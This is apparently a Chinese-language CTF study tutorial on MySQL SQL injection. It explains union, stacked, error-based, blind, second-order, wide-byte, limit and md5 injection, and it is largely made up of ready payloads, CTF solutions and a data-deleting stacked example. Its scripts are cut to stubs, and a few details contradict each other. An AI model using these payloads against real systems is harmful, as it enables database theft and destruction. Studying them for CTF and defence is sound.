SQL注入
大纲
1.基础知识
1.1 字符串截取函数
1 | left(str,index)//从左边第index开始截取 |
select left(“abcdef”,3) ===> “abc”
1 | right(str,index) //从右边第index开始截取 |
select right(“abcdef”,3) ===>”def”
1 | substring(str,pos)//从左边第pos个字符开始截取 |
select SUBSTRING(“abcdef”,3) ===>”cdef”
1 | substring(str,pos,len)//从第pos个字符开始截取len个字符 |
select SUBSTRING(“abcdef”,3,2) ===>”cd”
1 | substr(str,index,len)//截取str,index开始,截取len的长度 |
select SUBSTR(“abcdef”,3,2) ===>”cd”
1 | mid(str,pos,len)//截取str 从pos开始,截取len的长度(mysql特有) |
select mid(“abcdef”,3,2) ===>”cd”
1 | locate(substr,str)//判断字符串(string)中是否包含另一个字符串(substr),函数返回substr在string中出现的位置。字符串string不包含subStrlocate(substr,string)= 0 |
select locate(“admin”,”iamadmin”) ===>”4”
字符串截取函数,在报错注入,盲注中经常使用到,例如mid函数。
正常用法mid(str,pos,len)功能是从str字符串中从pos开始,截取len长度的字字符串。而mid(from(1)),这里的from(1)表示的是从1这个位置开始截取剩下的字符串.
1 | mysql> select mid('abc'from(3)); |
for(1)表示从改位置起一次就截取一个字符,示例如下:
1 | mysql> select mid('abc'from(1)for(1)); |
1.2 字符串比较函数
1 | strcmp(expr1,expr2) //如果两个字符串是一样则返回0,如果第一个小于第二个则返回-1 |
select STRCMP(“admin”,”admin”) ===>0
1 | find_in_set(str,strlist) //如果相同则返回1不同则返回0 |
select FIND_IN_SET(“admin”,”admin”) ===>1
1.3字符串连接函数
1 | concat(str1,str2,...,...) //将字符串首尾相连 |
select CONCAT(‘s’,’elect’) ===>’select’
select CONCAT(‘s’,’ele’,’ct’) ===>’select’
1 | concat_ws(separator,str1,str2) //将字符串用指定连接符连接 |
select concat_ws(‘‘,”s”,”elect”) ===>’select’
1 | group_concat()//利用分组的方式连接所有字符串,通俗点儿讲,其实就是把某个字段下的所有数据全部连接成一个字符串,注意有长度限制,默认1024。用于把多条数据一次注入出来 |
tips:在使用字符串拼接函数时,尽量使用拼接符号进行拼接,便于后续读取数据。
例如:group_concat( distinct(要连接的字段)order by (排序字段) asc/desc separator (分隔符) )
1.4一些绕过注入的罕见函数
1 | instr(str1,substr) //从子字符串中返回子串第一次出现的位置 |
select INSTR(“ffffabc”,”abc”) ===>5
1 | lpad(str,len,padstr) rpad(str,len,padstr) // 在str的左(右)两边填充给定的padstr到指定的长度len,返回填充的结果 |
select LPAD(“ELECT”,6,”S”) ===>”SELECT”
select RPAD(“SELEC”,6,”T”) ===>”SELECT”
1.5mysql中一些基础函数
- 当前数据库
1 | database() |
- 数据库用户名
1 | USER() |
- 数据库版本
1 | VERSION() |
- 路径相关函数
1 | @@BASEDIR : mysql安装路径 |
1.6注释符
1 | # //单行注释符,url记得编码为%23 |
1.7操作符号
1 | := |
1.8运算符
- 比较运算符
1 | = |
- 逻辑运算符
1 | not或! 非 |
- 位运算符
1 | & 按位与 |
1.9常用函数
- 延时函数
1 | sleep(duration) //暂停duration秒 |
- 编码函数
1 | CONV(N,from_base,to_base) //N是要转换的数据,from_base是原进制,to_base是目标进制 |
- 文件函数
1 | load_file() //读文件路径可以用0x,char转换的字符 |
- 类型转换
1 | 1=1 |
- 一些构造语句
1 | if(expr1,expr2,expr3) // expr1 true执行expr2否则执行expr3 |
- limit
limit子句用于限制查询结果返回的数量。
用法:【select * from tableName limit i,n 】
i:为查询结果的索引值(默认从0开始);
n : 为查询结果返回的数量
实例:
1 | select * from `user` |
1 | select * from `user` limit 0,1 |
1.10 information_schema
information_schema这这个数据库中保存了MySQL服务器所有数据库的信息。 如数据库名,数据库的表,表栏的数据类型与访问权限等。
表名 | 列名 | 内容 |
---|---|---|
schemata | schema_name | 所有数据库的名字 |
tables | table_name | 所有数据库的表的名字 |
tables | table_schema | 所有数据库的名字 |
columns | table_schema | 所有数据库的名字 |
columns | table_name | 所有数据库的表的名字 |
columns | column_name | 所有数据库的表的列的名字 |
- 查看当前数据库的表名
1 | select table_name from information_schema.tables where table_schema=database()limit 0,1; |
- 查看字段名
1 | select column_name from information_schema.columns where table_name='user' and table_schema=database() limit 0,1; |
- 查数据
1 | select 字段名 from 表名; |
1.11 MySQL中的空白字符
1 | %20 %09 %0a %0b %0c %0d %a0 /**/ tab |
2.注入类型
2.1数值型注入
也就是说后台的sql语句直接拼接的一个数值,可以通过以下方式进行初步判断,如果有waf,那么可以尝试使用注释符等将waf过滤的关键字进行包裹,使waf无法匹配,达到绕过waf的效果。
1 | ?id=1+1 |
将id进行各种加减乘除运算等等诸如上述的测试,如果回显正常可判断属于数值型注入。
2.2字符型注入
后台得到一个字符型数据然后进行拼接查询,具体判断方式如下。
1 | ?id=1' |
值得注意的是,在字符型注入中,要通过手工测试去判断后台sql语句的写法,例如:
1 | mysql-> select password from userinfo where username='admin' |
可以看到其数据是包裹在一对单引号中的,也就是说如果我们在插入一个单引号,就会引起后台sql语句执行报错,然后就可以根据其包裹方式构造payload进行注入。
2.3union联合查询
使用union联合查询之前,要先进行order by进行字段猜测
1 | order by int//例如order by 2 |
例如题目:
xxxxx?id=1 order by 2,页面显示正常
xxxxx?id=1 order by 3,页面显示不正常
就此可以判断,此时使用的表的字段就是2
(字符型的话需要注释后面的引号,例如:id=1' order by 2%23
(%23 ===> #))
得到具体字段数后,我们就可以爆字段位置:
1 | and 1=2 UNION SELECT 1,2 或 id=-1 UNION SELECT 1,2 |
然后就可以进行数据库表查询(mysql环境下)
1 | and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()) -- + |
基础语法:
1 | union select xxx from xxx //上面的语句只是在这基础上加各种条件达到数据库表查询目的 |
过滤了逗号的话可以使用join进行绕过
1 | select username,id from `user` union select * from ((select(1))a join(select version())b); |
join函数的作用是用于把来自两个或多个表的行结合起来。语句中的a等于是把select(1)的值赋给了a,也就是a=select (1),然后把两个拼接起来。
tips:该注入方式,适合用与显错注入,可以将注入得到的值直接显示到页面上。
2.3 堆叠查询
0x01 堆叠注入定义
Stacked injections(堆叠注入)从名词的含义就可以看到应该是一堆 sql 语句(多条)一起执行。而在真实的运用中也是这样的, 我们知道在 mysql 中, 主要是命令行中, 每一条语句结尾加; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做 stacked injection。
0x02 原理
在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为: Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。
ps:堆叠注入适用场景相对来说比较少,有一定的局限性
0x03 强网杯例题
1 | return preg_match("/select|update|delete|drop|insert|where|\./i",$inject); |
常规操作被过滤。使用堆叠注入
1 | 1';show tables# |
回显了两张表,一张words
表一张1919810931114514
表
查询表里面的字段
1 | 1';show columns from `1919810931114514`# |
Flag就在1919810931114514表里。
payload:
1 | 1';PREPARE payload from concat('s','elect', ' * from `1919810931114514` ');EXECUTE payload;# |
2.4报错注入
为什么要报错注入呢?因为sql会检查我们传入的语句,而且根据不同情况报告不同的错误信息。我们就可以通过构造特定的错误语句,然后根据sql报错的信息中获取我们想要的信息。
0X01 floor()和rand()
floor()
函数作用是返回小于等于该值的最大整数,也可以理解为向下取整,只保留整数部分。rand(0)
函数可以用来生成0或1,但是rand(0)和rand()还是有本质区别的,rand(0)相当于给rand()函数传递了一个参数,然后rand()函数会根据0这个参数进行随机数成成。rand()生成的数字是完全随机的,而rand(0)是有规律的生成,我们可以在数据库中尝试一下。首先测试rand():
1 | select floor(rand()*2) from userinfo; |
可以看到,截取部分数据分析。111100
再次运行,查看数据。
这次是011000。
- 测试rand(0):
1 | select floor(rand(0)*2) from student; |
第一次截取数据为011011
在运行几次。数据还是一样
很显然rand(0)是伪随机的,有规律可循,这也是我们采用rand(0)进行报错注入的原因,rand(0)是稳定的,这样每次注入都会报错,而rand()是随机的,很难控制,可能达不到报错效果。
再来看看使用floor报错注入的payload:
1 | select count(*),(concat(floor(rand()*2),(select version())))x from student group by x |
1 | [Err] 1062 - Duplicate entry '05.5.53' for key 'group_key' |
我们可以看到我数据库版本号出现在了错误语句当中,那么到底是为什么他会报错呢?
报错语句为Duplicate entry ‘5.5.531’ for key ‘group_key’意思是说group_key条目重复,那么我们使用group by 测试下。
1 | select count(*),name from student group by `name`; |
我们可以看到生成了一个虚拟表,在这张虚拟表中,group by后面的字段作为主键,所以这张表中主键是name,这样我们就基本弄清报错的原因了,其原因主要是因为虚拟表的主键重复。
我们把这个payload拆分来看
1 | select count(*),(concat(floor(rand()*2),(select version())))x from users group by x |
可以分为这么几部分select count(*)
,concat(floor(rand()*2),(select version()))
,group by x
我们一步一步来解释
首先第一段select没什么讲的,COUNT(*) 函数返回表中的记录数,第二段concat用于拼接字符串,我们可以尝试在sql中使用。
1 | select concat_ws('@',version(),floor(rand()*2)); |
可以看到该命令将version和floor的值进行了拼接,那么我们在根据group by 的特性,group by语句执行过程中,一行一行的去扫描student表的name字段,如果name在name-count()不存在,那么就将他插入,并置count()置1,如果name在name-count()表中已经存在,那么就在原来的count(*)基础上加1,就这样直到扫描完整个表,就得到我们看到的这个表了,group by后面的字段是虚拟表的主键,也就是说它是不能重复的,这是后面报错成功的关键点。
我们进行测试
1 | select concat_ws('@',version(),floor(rand(0)*2))x from student; |
student表中有42条数据,我们可以看到
我们可以看到每一次生成的值是根据floor函数决定的,再结合rand(0)函数的特性,导致其随机数可以被控制,所以才有了我们上面的结果。
mysql官方注明,在执行group by语句的时候,group by语句后面的字段会被运算两次。
第一次:我们之前说了会把group by后面的字段值拿到虚拟表中去对比,在对比之前肯定要知道group by后面字段的值,所以第一次的运算就发生在这里。
第二次:现在假设我们下一次扫描的字段的值没有在虚拟表中出现,也就是group by后面的字段的值在虚拟表中还不存在,那么我们就需要把它插入到虚拟表中,这里在插入时会进行第二次运算,由于rand函数存在一定的随机性,所以第二次运算的结果可能与第一次运算的结果不一致,但是这个运算的结果可能在虚拟表中已经存在了,那么这时的插入必然导致错误!
我们测试一下
首先用rand(0)生成随机数
1 | select floor(rand(0)*2) from student; |
1、floor(rand(0)*2)进行第一次运算,floor=0,此时为floor与虚拟表进行对比,由于表中没有值,进行插入。
2、插入时,floor进行第二次运算,floor=1,插入1,count=1。
3、取floor=1,\此时为floor与虚拟表进行对比,由于存在floor=1,故**count+1。**
4、取floor=0,\此时为floor与虚拟表进行对比,由于表中不存在floor=0,故作插入处理。****
5、插入时,floor进行第二次运算,floor=1,但是floor=1已经存在,无法进行插入操作,故产生主键重复错误,抛出异常。
过程如下:
扫描第一项第一次计算x=’5.5.53@0’(与rand(0)对应),发现没有那么进行插入,插入是在进行计算这时x=’5.5.53@1’,那么将其插入,到这里第一次扫描完成,因为rand的随机性所以导致插入的数据为5.5.53@1,那么继续往下走,在第二次扫描这时x=’5.5.53@1’发现虚拟表中存在,那么就直接插入,不进行第二次计算,到此第二次扫描完成,第三次扫描开始,首先x=’5.5.53@0’,然后发现表中没有,那么就进行插入而插入的时候还需进行一次计算,这是x=’5.5.53@1’,那么与之前第一次计算得到的值不相同然后报错把值爆出来了。
所以使用floor()和rand()的示例payload:
1 | SELECT COUNT(*),CONCAT(DATABASE(),'~',FLOOR(RAND(0)*2)) FROM `student` GROUP BY CONCAT(DATABASE(),'~',FLOOR(RAND(0)*2)) /*利用错误信息得到当前数据库名*/ |
通过设置别名,简化长度
1 | SELECT COUNT(*),CONCAT(DATABASE(),'~',FLOOR(RAND(0)*2))x FROM `student` GROUP BY x |
爆表名:
第一步爆表的个数
1 | SELECT COUNT(*),CONCAT((SELECT COUNT(table_name) FROM information_schema.`TABLES` where TABLE_SCHEMA='search'),'~',FLOOR(RAND(0)*2))x from information_schema.`COLUMNS` GROUP BY x |
第二步爆表名
1 | SELECT COUNT(*),CONCAT((SELECT table_name FROM information_schema.`TABLES` where TABLE_SCHEMA='search' LIMIT 0,1),'~',FLOOR(RAND(0)*2))x from information_schema.`COLUMNS` GROUP BY x //通过调整limit逐个爆出来 |
爆列名
第一步爆列数
1 | SELECT COUNT(*),CONCAT((SELECT COUNT(column_name) FROM information_schema.`COLUMNS` where TABLE_SCHEMA='search' and TABLE_NAME='admin'),'~',FLOOR(RAND(0)*2))x from information_schema.`COLUMNS` GROUP BY x |
第二步爆列名
1 | SELECT COUNT(*),CONCAT((SELECT column_name FROM information_schema.`COLUMNS` where TABLE_SCHEMA='search' and TABLE_NAME='admin' LIMIT 0,1),'~',FLOOR(RAND(0)*2))x from information_schema.`COLUMNS` GROUP BY x |
0X02 XPATH语法错误
从mysql5.1.5开始提供两个XML查询和修改的函数,extractvalue和updatexml。extractvalue负责在xml文档中按照xpath语法查询节点内容,updatexml则负责修改查询到的内容。
它们的第二个参数都要求是符合xpath语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报错信息里。
ExtractValue(有长度限制,最长32位)
原理:https://www.cnblogs.com/xishaonian/p/6250444.html
1 | id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e))) |
爆表数
1 | select(extractvalue(1,concat(0x7e,(select COUNT(TABLE_NAME) from information_schema.`TABLES` where TABLE_SCHEMA='search'),0x7e))) |
爆表名
1 | select(extractvalue(1,concat(0x7e,(select TABLE_NAME from information_schema.`TABLES` where TABLE_SCHEMA='search' limit 0,1),0x7e))) |
爆列数
1 | select(extractvalue(1,concat(0x7e,(select COUNT(column_name) from information_schema.`columns` where TABLE_SCHEMA='search' and TABLE_NAME='admin' ),0x7e))) |
爆列名
1 | select(extractvalue(1,concat(0x7e,(select column_name from information_schema.`columns` where TABLE_SCHEMA='search' and TABLE_NAME='admin' limit 0,1),0x7e))) |
UpdateXml(有长度限制,最长32位)
原理:https://www.jb51.net/article/125599.htm
1 | id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1)) |
0x03 函数特性报错
故名思义,也就是利用一些函数的特性,使其报错,得到我们想要的结果。
- geometrycollection()
1 | and geometrycollection((select * from(select * from(select user())a)b))-- + |
- multipoint()
1 | and multipoint((select * from(select * from(select user())a)b))-- + |
- polygon()
1 | and polygon (()select * from(select user ())a)b )-- + |
- multipolygon()
1 | and multipolygon((select * from(select * from(select user())a)b))-- + |
- linestring()
1 | and linestring((select * from(select * from(select user())a)b))-- + |
- multilinestring()
1 | and multilinestring((select * from(select * from(select user())a)b))-- + |
- exp()
1 | and exp(~(select * from(select user())a))--+ |
2.5 盲注
盲注指的是没有回显,但是能根据我们构造的sql条件返回不同响应,而盲注跑出数据相对较麻烦,MySQL4之后大小写不敏感,可使用binary()函数使大小写敏感。盲注一般分为布尔盲注和基于时间的盲注和报错的盲注。
1 | Length()函数 返回字符串的长度 |
当然如果上面的函数被禁用,也有相应的函数替换。可百度
0x01布尔盲注
这里直接用数据库阐述原理,在实际中,如下面的例子注入点为id=1,我们已经无法使用union来直接查询,此处我们需要用到关键字and,我们知道只有and前后的条件都为真的时候,数据库才会输出结果。
- 判断数据库名的长度:
首先我们来判断一下数据库的是几个字符,用到length()函数,此处选取的数据库名称为search,如下图所示当判断条件为大于7时,输出为Empty,当判断条件等于6时,输出了我们查询的数据,所以数据库名的字符个数为4。
1 | 实例:select account from admin where id=1 and length((select database()))=6,其中(select database())为子查询,需要加括号,如下图 |
- 猜解数据库名:
我们已经知道了数据库名是6个字符,接下来我们可以使用substr()函数对数据库名的字符一个个截取。在通过ascii()函数判断字符的ascii码值,第一个字符的ascii码值为115,第二个为101,同样的步骤,第三个为97,等等类推,然后和ascii码表比对,发现数据库名为search
1 | 实例:select account from admin where id=1 and ascii(substr((select database()),1,1))=115,如下图 |
- 猜解表名:
表名我们可以根据系统自带库information_schema进行查询,同理需要用到子查询,此处用到group_concat()函数拼接字符串,在这里可以把查到的数据表名通过逗号拼接起来,先猜解一下拼接的字符串长度,我们在把字符串一个个截取,最后得到一个数据表为admin
1 | xxxx and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>100 |
猜解列名:
1 | select account from admin where id=1 and (ascii(substr((select COLUMN_NAME from information_schema.`COLUMNS` where table_schema=database() and TABLE_NAME='admin' limit 0,1),1,1)))>100 |
下面是爆破数据库名的脚本。
1 | import requests |
爆表
1 | import requests |
爆字段
1 | import requests |
爆数据
1 | import requests |
0x02报错注入盲注
简单的说就是它能够通过MYSQL解释器检查,但是运行时候又会产生错的函数。我们可以用它来进行布尔型盲注。我们下面就来讲解一下一些能够通过MYSQL解释器的预检查却在运行时候出现错误的SQL函数。
例题:工作室靶场的我TMD烦死了
0x03时间盲注
适用于对页面无变化,无法用布尔盲注判断的情况,一般用到函数 sleep()和 BENCHMARK()。
sleep()作用是用来延时 benchmark()其作用是来测试一些函数的执行速度。benchmark()中带有两个参数,第一个是执行的次数,第二个是要执行的函数或者是表达式。
时间盲注我们还需要使用条件判断函数if() if(expre1,expre2,expre3) 当expre1为true时,返回expre2,false时,返回expre3
举个例子:
1 | select * from admin where id=1 and if((substr((select user()),1,1)='r'),sleep(5),1); |
如果这两个函数都被ban了我们可以利用笛卡尔积造成延时进行注入。
知识点:笛卡尔积可以将多个表合并成为一个表
进行测试:
1 | select count(*) FROM information_schema.columns A, information_schema.columns B; |
payload:
1 | 1' and if(想执行的查询语句,(SELECT count(*) FROM information_schema.columns A, information_schema.columns B,information_schema.columns C),1)%23 |
比如:
1 | select * from admin where id=1 and if((substr((select user()),1,1)='r'),(SELECT count(*) FROM information_schema.columns A, information_schema.columns B,information_schema.columns C),1)%23 |
另外还可以用get lock()进行延时盲注
知识点:
- mysql_pconnect(server,user,pwd,clientflag)
mysql_pconnect() 函数打开一个到 MySQL 服务器的持久连接。
mysql_pconnect() 和 mysql_connect() 非常相似,但有两个主要区别:当连接的时候本函数将先尝试寻找一个在同一个主机上用同样的用户名和密码已经打开的(持久)连接,如果找到,则返回此连接标识而不打开新连接。其次,当脚本执行完毕后到 SQL 服务器的连接不会被关闭,此连接将保持打开以备以后使用(mysql_close() 不会关闭由 mysql_pconnect() 建立的连接)。
- get_lock(str,timeout)
get_lock会按照key来加锁,别的客户端再以同样的key加锁时就加不了了,处于等待状态。在一个session中锁定变量,同时通过另外一个session执行,将会产生延时
进行测试:
首先打开两个查询。
在第一个查询上运行:
1 | select get_lock('admin',5) |
然后再第二个查询上运行同样的语句:
1 | select get_lock('admin',5) |
可以看到确实延迟了,那我们在实际中可以利用如下:
先执行1’ and get_lock(1,2)%23使其上锁,然后在执行1’ and if(1,get_lock(1,2),1)%23,看延时进行判断。
0x04order by盲注
order by用于根据指定的列对结果集进行排序。一般上是从0-9a-z这样排序,不区分大小写。
首先我们进行测试下:
1 | select * from admin union select 1,2,3 order by 3 |
1 | select * from admin union select 1,2,'a' order by 3 |
下面这个直观点:
1 |
|
我们就可以根据数据排序进行数据注入,猜测出数据,此方法多用与无列名注入。
3.注入类型
3.1无列名注入
什么是无列名注入?
顾名思义,就是在不知道列名的情况下进行 sql 注入。
在 mysql => 5 的版本中存在一个名为 information_schema 的库,里面记录着 mysql 中所有表的结构。通常,在 mysql sqli 中,我们会通过此库中的表去获取其他表的结构,也就是表名、列名等。但是这个库经常被 WAF 过滤。
当我们通过暴力破解获取到表名后,如何利用呢?
在 information_schema 中,除了 SCHEMATA、TABLES、COLUMNS 有表信息外,高版本的 mysql 中,还有 INNODB_TABLES 及 INNODB_COLUMNS 中记录着表结构。
使用条件&方法
无列名注入主要是适用于已经获取到数据表,但无法查询列的情况下,在大多数 CTF 题目中,information_schema 库被过滤,使用这种方法获取列名。
无列名注入的原理其实很简单,类似于将我们不知道的列名进行取别名操作,在取别名的同时进行数据查询,所以,如果我们查询的字段多于数据表中列的时候,就会出现报错。
0x01order by
上面已提及,不再阐述
0x02不使用列名查询
正常的 sql 查询如下:
1 | select * from `users`; |
其中,列名为 account、passwd、id。
使用 union 查询:
1 | select 1,2,3 union select * from users; |
如图,我们的列名被替换为了对应的数字。也就是说,我们可以继续数字来对应列,如 2 对应了表里面的 password:
1 | select `2` from (select 1,2,3 union select * from users)a; |
ps:末尾的 a 可以是任意字符,用于命名。
当然,多数情况下,**`**会被过滤。当 **`**不能使用的时候,使用别名来代替:
1 | select b from (select 1,2 as b,3 union select * from users)a; |
同时查询多个列:
1 | select concat(`1`,0x2d,`2`) from (select 1,2,3,4 union select * from users)a limit 1,3; |
简而言之,可以通过任意命名进入该表,然后使用 SELECT 查询这些字段中的任何已知值。
payload:
1 | select a,b from posts where a=-1 union select 1,(select concat(`3`,0x2d,`4`) from (select 1,2,3,4,5,6 union select * from xxx)a limit 1,1); |
0x03union被限制
1 | mysql> select * from users where id=1 and (select * from (select * from users as a join users as b) as c); |
可以发现第一个列名已经被爆出来了,那么他的原理到底是什么呢。
这个的原理就是在使用别名的时候,表中不能出现相同的字段名,于是我们就利用join把表扩充成两份,在最后别名c的时候 查询到重复字段,就成功报错。
同时,可以利用using爆其他字段:
1 | mysql> select * from users where id=1 and (select * from (select * from users as a join users as b USING(id)) as c); |
例题:SWPUCTF 2019——–web1-easy_web
进入题目发现有登陆和注册接口,直接注册登录。
来到后台。
注入点在广告名。
点击广告详情。
发现数据库的报错信息,证明存在注入。
简单测试了一下,空格 和 or 被过滤,报错过滤了extractvalue 和 updatexml,于是考虑用 union 联合注入。查表名时由于过滤or,所以information_schema无法使用。
但Mysql5.6及以上版本中mysql的 innodb_index_stats 和innodb_table_stats这两个表中都包含所有新创建的数据库和表名
也可以用 sys.schema_auto_increment_columns 来注表名
1 | 111'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/sys.schema_auto_increment_columns),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,' |
innodb_index_stats 和innodb_table_stats
1 | -1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22 |
表名 ads 和 users
但是不知道列名,只能用无列名注入的方式,另外还过滤了反引号,用别名aaa来代替,payload:
1 | -1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select * from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22 |
3.2二次注入
- 二次注入原理
二次注入漏洞字面上理解可能就是结合两个注入漏洞点实现sql注入的目的,但是这其中还有几个细节需要讲解一下。首先,第一个注入点因为经过过滤处理所以无法触发sql注入漏洞,比如addslashes
函数,将单引号等字符转义变成\’。但是存进数据库后,数据又被还原了,也就是反斜杠没了,在这种情况下,如果能发现一个新的注入同时引用了被插入了的数据库数据,就可以实现闭合新发现的注入漏洞引发漏洞。
- 演示
程序提供用户注册(reg.php
)和邮箱搜索(search.php
)两个功能,程序在config.php
文件中使用addslashes
转义所有的GPC输入,然后再将数据插入数据库中
注册信息
1 | username:0'select |
如下图所示,用户输入含有'
的用户名会完整的存入数据库。
'
被安全的存入了数据库,如果又将该用户名从数据库中取出来,然后再用于数据库查询,若没转义该用户名,则会出现二次注入,演示如下:
搜索邮箱:5
, 得到mysql报错如下,显然'
引发了数据库错误,也就是说这里是可以利用sql注入的。
这里是可以利用盲注,union注入和报错注入的, 当然,注入的利用还和username等字段的长度限制有关。
注册用户名: ' union select 1,user(),2,3 #
, 邮箱:cc@qq.com
, 然后搜索邮箱cc@qq.com
, 得到如下结果:
- 演示代码
config.php
1 |
|
reg.php
1 |
|
search.php
1 |
|
3.3 insert、update和delete报错注入
我们常见的注入都是selec查询注入比较多,但是SQL注入在参数没有检查和过滤的时候就会把恶意的数据插入数据库,从而造成SQL注入。
所以说除了查询之外,所有和数据库进行交互的请求都有可能造成注入。如:插入数据,更改数据,删除数据等,所以现在根据网上的技巧汇总一下insert、update和delete的注入方法。
一般这种注入会出现在 注册、ip头、留言板等等需要写入数据的地方,同时这种注入不报错一般较难发现。
0x1使用updatexml()函数
payload:
1 | or updatexml(1,concat(0x7e,(version())),0) or |
insert注入:
1 | 使用逻辑运算符(and or xor && ||) |
update注入:
1 | mysql> update users set username = 'name' and updatexml(2,concat(0x7e,(version())),0) and '' where id = 5; |
delete注入:
1 | mysql> delete from users where id = 5 or updatexml(2,concat(0x7e,(version())),0) or ''; |
0x1.2使用extractvalue()函数
语法:extractvalue(目标xml文档,xml路径)
第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。
正常查询 第二个参数的位置格式 为 /xxx/xx/xx/xx ,即使查询不到也不会报错
payload:
1 | or extractvalue(1,concat(0x7e,database())) or |
insert注入:
1 | mysql> insert into info(name,age) values('wangwu'or extractvalue(1,concat(0x7e,version())) or'','22'); |
update注入:
1 | mysql> update info set name='test' or extractvalue(1,concat(0x7e,version())) or'' where id =1; |
delete注入:
1 | mysql> delete from info where id=1 or extractvalue(1,concat(0x7e,version())); |
0x3使用name_const()函数
name_const(name,value)
返回给定值。 当用来产生一个结果集合列时, name_const()促使该列使用给定名称。
payload:
1 | or (SELECT*FROM(SELECT(name_const(version(),1)),name_const(version(),1))a) or |
insert注入:
1 | mysql> insert into info(name,age) values('wangwu' or (SELECT*FROM(SELECT(name_const(version(),1)),name_const(version(),1))a) or'','22'); |
update注入:
1 | mysql> update info set name='test'or (SELECT*FROM(SELECT(name_const(version(),1)),name_const(version(),1))a) or'' where id =1; |
delete注入:
1 | mysql> delete from info where id=1 or (SELECT*FROM(SELECT(name_const(version(),1)),name_const(version(),1))a); |
实战测试:
HongCMS后台在清除表格的时候存在sql注入,即delete注入
详情连接:https://www.freebuf.com/vuls/178316.html
使用updatexml payload
使用extractvalue payload
使用name_const payload
3.4宽字节注入
详细可看:https://xz.aliyun.com/t/1719
在我们正常情况下使用addslashes函数或是开启PHPGPC(注:在php5.4已上已给删除,并且需要说明特别说明一点,GPC无法过滤$_SERVER提交的参数)时过滤GET、POST、COOKIE、REQUSET 提交的参数时,黑客们使用的预定义字符会给转义成添加反斜杠的字符串如下面的例子
1 | %df%27===(addslashes)===>%df%5c%27===(数据库GBK)===>運' |
注入姿势:
1 | id=%df'order by 1 %23 |
题目
1 | <?php |
3.5笛卡尔积注入
笛卡尔积是指在数学中,两个集合X和Y的笛卡尓积(Cartesian product),又称直积,表示为X × Y,第一个对象是X的成员而第二个对象是Y的所有可能有序对的其中一个成员。
payload
1 | select * from admin where id = 1 and 1 and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C); |
你完全可以按照这个规律,从C后面加个逗号,写D,E等等等,想写多少就写多少,但是写的越多查询的速度就会越慢,如果在表或者列数量很少的情况下,可以写的多一点。
到浏览器实践一下,发现确实延迟了。
3.6MySQL约束攻击
知识点:
- 在SQL中执行字符串处理时,字符串末尾的空格符将会被删除。换句话说“vampire ”等同于“vampire ”,对于绝大多数情况来说都是成立的(诸如WHERE子句中的字符串或INSERT语句中的字符串)例如以下语句的查询结果,与使用用户名“vampire”进行查询时的结果是一样的。
1 | SELECT * FROM users WHERE username='vampire ' <=====> SELECT * FROM users WHERE username='vampire' |
但也存在异常情况,最好的例子就是LIKE子句了。注意,对尾部空白符的这种修剪操作,主要是在“字符串比较”期间进行的。这是因为,SQL会在内部使用空格来填充字符串,以便在比较之前使其它们的长度保持一致。
在所有的INSERT查询中,SQL都会根据varchar(n)来限制字符串的最大长度。也就是说,如果字符串的长度大于“n”个字符的话,那么仅使用字符串的前“n”个字符。比如特定列的长度约束为“5”个字符,那么在插入字符串“vampire”时,实际上只能插入字符串的前5个字符,即“vampi”。
3.7 limit注入
此方法适用于MySQL 5.x中,在limit语句后面的注入
一般实际过程中使用 limit 时,大概有两种情况,一种使用order by
,一种就是不使用 order by
关键字
0x1 不存在 order by 关键字
执行语句
1 select id from users limit 0,1
这种情况下的 limit
后面可以使用union
进行联合查询注入
执行语句
1 select id from users limit 0,1 union select account from users;
0x2 存在order by关键字
执行语句
1 select id from users order by id desc limit 0,1;
此时后面再次使用union
将会报错
1 select id from users order by id desc limit 0,1 union select username from users
limit 关键字后面还可跟PROCEDURE
和 INTO
两个关键字,但是 INTO
后面写入文件需要知道绝对路径以及写入shell的权限,因此利用比较难,因此这里以PROCEDURE
为例进行注入
- 使用
PROCEDURE
函数进行注入
ANALYSE支持两个参数,首先尝试一下默认两个参数
1 | select id from users order by id desc limit 0,1 procedure analyse(1,1); |
报错,尝试一下对其中一个参数进行注入,这里首先尝试报错注入
1 | select id from users order by id desc limit 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1); |
成功爆出 mysql 版本信息,证明如果存在报错回显的话,可以使用报错注入在limit
后面进行注入
不存在回显怎么办,延迟注入呀
执行命令
1 select id from users order by id limit 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(if(mid(version(),1,1) like 5, BENCHMARK(5000000,SHA1(1)),1))))),1)
如果 select version();
第一个为5,则多次执行sha(1)达到延迟效果
这里使用 sleep 进行尝试,但均未成功,所以需要使用BENCHMARK进行替代
3.7 MD5注入
当php中使用到 md5($str,true) 输出md5值时,二进制被HEXdecode后可能会包含例如’or 1#的字符,从而产生sql注入
先看php中的md5函数,它有两个参数string和raw。
第一个参数string是必需的,规定要计算的字符串。
第二个参数raw可选,规定十六进制或二进制输出格式:
TRUE - 原始 - 16 字符二进制格式
FALSE - 默认 - 32 字符十六进制数
注入姿势:
1 | password=129581926211651571912466741651878684928 //T0Do#'or'8 |
测试题目
